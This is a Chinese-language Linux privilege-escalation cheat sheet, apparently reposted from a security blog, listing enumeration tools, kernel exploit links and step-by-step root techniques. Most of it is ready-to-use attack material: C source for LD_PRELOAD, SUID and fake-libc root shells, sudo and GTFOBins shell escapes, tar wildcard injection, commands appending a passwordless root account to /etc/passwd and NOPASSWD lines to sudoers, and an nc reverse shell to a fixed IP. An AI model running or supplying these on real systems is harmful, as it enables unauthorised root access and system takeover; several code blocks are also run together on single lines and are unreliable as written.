Linux提权备忘录

看到你的那一瞬间,就像是走了很远的路,我终于到家了,可是我歇一歇,还是得继续走啊。。。

----  网易云热评

一、判断是否为虚拟机

cat /proc/scsi/scsi

dmesg |grep -i vir

w / who 查询目前登录系统的用户

 

二、辅助工具

1. LinuxSmartEnumeration(参考了LinEnum.sh)

三个工作模式可选:

-l 0 (缺省),显示特别重要的信息

-l 1 显示interesting的信息

-l 2 显示所有的信息

  •  
wget "https://github.com/diego-treitos/linux-smartenumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.shcurl "https://github.com/diego-treitos/linux-smartenumeration/raw/master/lse.sh" -Lo lse.sh;chmod 700 lse.sh单行执行:bash <(wget -q -O - https://raw.githubusercontent.com/diegotreitos/linux-smart-enumeration/master/lse.sh) -l2 -ibash <(curl -s https://raw.githubusercontent.com/diego-treitos/linux-smartenumeration/master/lse.sh) -l1 -i

2. LinEnum

常用命令:./LinEnum.sh -r report -e /tmp/ -t 生成的结果将导出到 /tmp/report 文件

如果什么都不加的话,就是输出到标准输出

3. BeRootProject

python beroot.py --password super_strong_password

这个工具包含了GTFOBins所提到的文件列表,也就是说,可以检查出一些通过sudo运行即可提权

的文件。

4. Pupy

基于python的内存态后***利用框架

5. SUDO_KILLER探测脚本

 

三、信息搜集

1、关注点主要在:计划任务、具有suid的命令

2、内核和发行版的详细信息

3、系统信息:主机名

网络信息:当前IP、默认路由、DNS信息

4、用户信息:

当前用户详细信息

上次登录的用户

当前登录到主机的用户

列出所有用户uid、gid

列出root用户

密码策略和hash存储方法信息

umask值

检查password hash是否存在于 /etc/passwd (这个文件是全局可读的)

提取默认的uid的信息信息(0、1000、1001之类的)

尝试读取受限文件(例如 /etc/shadow )

列出当前用户的历史文件(例如 .bash_history 、 .nano_history 、 .mysql_histroy 、 .swp 文件)

ssh

5、特权检查

哪些用户最近使用了 sudo

/etc/sudoers 是否可以访问

确定当前用户是否可以不使用即可使用 sudo

确定通过sudo可能利用即可获得权限的命令

root 目录是否可以访问

查看 home 目录下的权限

6、环境信息:

查看当前的$PATH

查看当前的 env 信息

7、计划任务、进程

查看计划任务

确定属于其他用户的全局可写的计划任务

列出系统计时器(活动的、不活动的)

8、服务:

列出网络连接

列出当前进程

查看进程对应的二进制文件以及权限

列出 inetd.conf/xined.conf 的内容以及相关二进制程序的权限

列出 init.d 二进制的权限

9、查看版本信息:

sudo

mysql

postgres

apache

查看用户配置

查看可用模块

查看htpasswd文件

查看www目录

10、默认/弱口令的证书

主要是数据库的默认密码、弱口令

重点搜索:

所有具有SUID/GUID的文件,尤其是全局可写的SUID/GUID的文件、属于root的具有

SUID/GUID的文件

Locate files with POSIX capabilities?capabilities一种安全机制

带有 *.plan 、 *.rhosts 、 *.log 、 *.conf 的文件

NFS服务信息

本地邮件

11、特定的软件

docker

LXC

 

四、密码相关

1. 查找包含密码的文件(关键字 password )

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;

2. 查看过期的密码

pam_cracklib会保存过期的密码记录在 /etc/security/opasswd 文件中。

3. 查看用户最后编辑的文件

find / -mmin -10 2>/dev/null | grep -Ev "^/proc"

最近十分钟编辑的文件

4. 内存中的密码

strings /dev/mem -n10 | grep -i PASS

5. 查看敏感文件

$ locate password | more

/boot/grub/i386-pc/password.mod

/etc/pam.d/common-password

/etc/pam.d/gdm-password

/etc/pam.d/gdm-password.original

/lib/live/config/0031-root-password

 

五、计划任务

Cron

检查系统中存在的cron计划任务,看看是否有权限访问和修改

检查文件内容,看看有没有可以提权的途径

利用pspy工具,检查命令和文件系统事件 ./pspy64 -pf -i 1000

敏感目录

/etc/init.d

/etc/cron*

/etc/crontab

/etc/cron.allow

/etc/cron.d

/etc/cron.deny

/etc/cron.daily

/etc/cron.hourly

/etc/cron.monthly

/etc/cron.weekly

/etc/sudoers

/etc/exports

/etc/anacrontab

/var/spool/cron

/var/spool/cron/crontabs/root

crontab -l

ls -alh /var/spool/cron;

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny*

cron的日志文件存储为 /var/log/cronlog ,可以看到最近执行的定时任务信息。

配置文件读取路径:

/var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户;用户创建的任务在对应用户名文件夹下。

/etc/crontab ,只能root 进行编辑,配置文件需指定用户

/etc/cron.d/ ,在此文件夹下创建定时任务文件(和 /etc/crontab 一样)

日志保存地址:/var/log/cron ;要禁止某个用户使用,将用户名添加到 /etc/cron.deny文件中。

systemd timers

系统定时器,也是计划任务的一种

查询命令:systemctl list-timers --all

相关信息:

如果想使用systemd作为定时器,需要先创建一个服务单元,之后再创建计时器单元

重新加载配置:systemctl daemon-reload

journalctl -u mytimer 查看 mytimer.timer 和 mytimer.service 的日志

详细原理:https://www.linuxidc.com/Linux/2019-05/158599.htm

 

六、内核漏洞

内核提权漏洞(依靠EXP)

1. 在exploit-db、或者其他搜索引擎上查找相关提权漏洞。

2. 利用脏牛 2.6.22<=kernel <= 4.8.3、4.7.9、4.4.26LTS )

3. 一般这种提权漏洞都是c的,需要gcc编译 gcc filename -o outfilename 。

内核漏洞搜集项目:

https://github.com/lucyoa/kernel-exploits/

https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits

https://github.com/SecWiki/linux-kernel-exploits 中文 NICE~

https://github.com/xairy/kernel-exploits

https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/

常见漏洞:

1. CVE-2016-5195 (DirtyCow):(Linux Kernel <= 3.19.0-73.8)

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

2. CVE-2010-3904 (RDS):(Linux Kernel <= 2.6.36-rc8)

https://www.exploit-db.com/exploits/15285/

3. CVE-2010-4258 (Full Nelson):(Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04))

https://www.exploit-db.com/exploits/15704/

4. CVE-2012-0056 (Mempodipper):(Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64))

https://www.exploit-db.com/exploits/18411

利用sudo命令

1. sudo -l :查看当前用户sudo支持的命令

$ sudo -l

User demo may run the following commands on crashlab:

(root) NOPASSWD: /usr/bin/mysql

比如以上结果列出了mysql,就可以使用 sudo mysql -e '\! /bin/sh' 获得一个特权shell,或者 sudo -u root mysql -e '\! /bin/sh'

最牛逼的情况:ignite ALL=(root) NOPASSWD: ALL

2. 使用用户密码切换到root用户:sudo -i 、 sudo su 、 sudo su -

3. 利用LD_PRELOAD:

如果在 sudoers 文件(/etc/sudoers)中明确定义了LD_PRELOAD的内容:

Defaults env_keep += LD_PRELOAD

可以使用以下代码,编译共享链接库 gcc -fPIC -shared -o shell.so shell.c -nostartfiles

  •  
//shell.c#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() {unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/sh");}

使用如下命令,执行任何二进制程序以获得shell

sudo LD_PRELOAD=<full_path_to_so_file> <program>

举个例子:sudo LD_PRELOAD=/tmp/shell.so find

4. 同时要注意其他和sudo有同样功能的程序,比如openBSD的 doas 命令

# /etc/doas.conf

# 以root用户不需要密码执行 procmap

permit nopass tedu as root cmd /usr/sbin/procmap

5. sudo_inject

在 /proc/sys/kernel/yama/ptrace_scope 中值为0,并且当前用户有正在使用sudo运行的进程的时候,可以只用sudo_inject***来滥用当前令牌。

6. 如果有权限的话,可以看看后面的内容

关于SUDO

sudo:配置文件默认在 /etc/sudoers ,推荐使用 visudo 工具来编辑,可以语法检查。

四种别名:Host_Alias(主机列表)、Cmnd_Alias(命令列表【绝对路径】,如果想禁用某些命令前面加 !即可)、User_Alias(用户列表)、Runas_Alias(用户以什么身份执行)

格式:USER_FLAG HOST_FLAG=(RUNAS_FLAG) COMMAND_FLAG ,如果不需要密码的话

USER_FLAG HOST_FLAG=(RUNAS_FLAG) NOPASSWD: COMMAND_FLAG

 

七、利用SUID提权

1. 查找具有suid权限的命令:find / -user root -perm -4000 -print 2>/dev/null 、 find / -perm -u=s -type f 2>/dev/null 、 find / -user root -perm -4000 -exec ls -ldb {} \; 、find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; 、 find / -uid 0 -perm -4000 -type f 2>/dev/null

2. 常见的用于SUID提权的程序:

3. Nmap:较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。

nmap --interactive , nmap> !sh 。

4. find:`touch test`

find test -exec whoami \;

find test -exec bash -p \;

find test -exec /bin/sh \; (DC1就遇到bash无法提权,但是sh可以提权的情况)

find test -exec nc -e /bin/sh 192.168.139.128 9999 \;

5. vim:直接编辑文件 vim /etc/shadow ,或者进入vim后启动sh交互。

:set shell=/bin/sh

:shell

或者:vim -c '!sh'

6. bash:bash -p

7. 利用less执行命令:less /etc/passwd , !/bin/sh (已经设置suid的sh)、(more也可以)

8、为什么可以使用SUID提权:SUID代表“执行时设置用户ID”,具有该标志位的文件在执行时,运行的uid变为属主身份,也就是说,如果一个程序属主是root,并具有suid标志位,其他用户运行时uid会临时变为root。

9. 构造一个具有suid的程序(如果root权限的话):

给程序添加suid标记:chmod +s 文件

利用自己的代码做一个suid的shell

  •  
// filename: suid.cint main(void){setgid(0);setuid(0);system("/bin/bash");}// 或者int main(void){setresuid(0, 0, 0);system("/bin/sh");}

gcc编译之后, chown root:root /tmp/suid; chmod 4777 /tmp/suid 【注意,得先把属主改为root,之后再添加s标志】

 

八、GTFOBins

GTFOBins是一个精选的Unix二进制列表,***者可以利用它来绕过本地安全限制。

1、利用vim获得shell:

:set shell=/bin/bash , :shell

:! /bin/bash

2. 利用 awk:awk 'BEGIN {system("/bin/sh")}'

3. 利用find :find / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

4. 利用more 和 less:! /bin/bash

 

九、通配符

通过将tar与–checkpoint-action选项一起使用,可以在检查点之后使用指定的操作。此操作可能是恶意的Shell脚本,可用于在启动tar的用户下执行任意命令。使用特定选项的“欺骗”根源非常简单,这就是通配符派上用场的地方。

touch -- "--checkpoint=1"

touch -- "--checkpoint-action=exec=sh shell.sh"

echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" >

shell.sh

# vulnerable script

tar cf archive.tar *

详细原理请看《关于通配符提权》的笔记。

利用工具:wildpwn(其实就是将创建文件自动化了)

但是提供了一个自动化的***思路

Linux提权备忘录

 

十、利用可写文件(敏感文件)

1、搜索可写文件

  •  
find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path"/sys/*" -exec ls -al {} \; 2>/dev/nullfind / -perm -2 -type f 2>/dev/nullfind / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

2、写/etc/passwd

生成密码字符串的三种方式:

openssl passwd -1 -salt 盐值 密码

mkpasswd -m SHA-512 密码

python2 -c 'import crypt; print crypt.crypt("密码", "$6$salt")'

按照如下格式添加到 /etc/passwd 文件中

用户名:生成的密码:0:0:Hacker:/root:/bin/bash

不生成密码的方式(极其暴力)

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd

su - dummy

BSD 系统中文件名称为:/etc/pwd.db 、 /etc/master.passwd 、 /etc/spwd.db

3、写/etc/sudoers

echo "用户名 ALL=(ALL:ALL) ALL">>/etc/sudoers

# use SUDO without password

echo "用户名 ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers

echo "用户名 ALL=NOPASSWD: /bin/bash" >>/etc/sudoers

 

十一、NFS权限压缩

NFS的配置文件:/etc/exports

如果no_root_squash 出现在配置文件中的话,如果目录分享者是root,那么对于远程挂载

用户来说,他也具有了该目录下root的权限。

具体操作:

查看远程主机共享的文件夹:showmount -e 10.10.10.10 

建立目录、挂载远程主机共享文件

mkdir /tmp/nfsdir

mount -t nfs 10.10.10.10:/shared /tmp/nfsdir

cd /tmp/nfsdir

恶意利用:

# copy wanted shell

cp /bin/bash .

# set suid permission

chmod +s bash

十二、共享库

系统识别共享库的顺序:

1. rpath-link选项中指定的目录

2. –rpath选项中指定的目录

3. LD_RUN_PATH

4. LD_LIBRARY_PATH

5. DT_RUNPATH或DT_RPATH中的目录

6. /lib 、/usr/lib

7. /etc/ld.so.conf下的目录。

利用 ldconfig

识别程序所使用的动态链接库信息(实际是需要同名替换) ldd 二进制文件

Linux提权备忘录

编译一个同名为 vulnlib.so 的文件,进行替换(这个地方不确定要不要加版本号)

  •  
gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.cecho "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so /opt/binary

 

后面的数字作为版本号,连接器并不识别后面的内容,只识别到 so

命名规范的话:

主版本号:不同的版本号之间不兼容

次版本号:增量升级 向后兼容

发行版本号:对应次版本的错误修正和性能提升,不影响兼容性

Linux提权备忘录

 

十三、利用RPATH

查看程序使用RPATH情况:readelf -d 文件名 | egrep "NEEDED|RPATH"

Linux提权备忘录

根据上边的结果,在 /var/tmp/flag15 路径下构造恶意共享库

  •  
gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6#include<stdlib.h>#define SHELL "/bin/sh"int __libc_start_main(int (*main) (int, char **, char **), int argc,char ** ubp_av, void (*init) (void), void (*fini) (void), void(*rtld_fini) (void), void (* stack_end)){char *file = SHELL;char *argv[] = {SHELL,0};setresuid(geteuid(),geteuid(), geteuid());execve(file,argv,0);}

 

文章来源于网络,如有侵权,请联系删除

禁止非法,后果自负

欢迎关注公众号:web安全工具库

Linux提权备忘录

Linux提权备忘录

上一篇:Linux入侵应急响应思路


下一篇:Linux 查看 cron 定时任务执行日志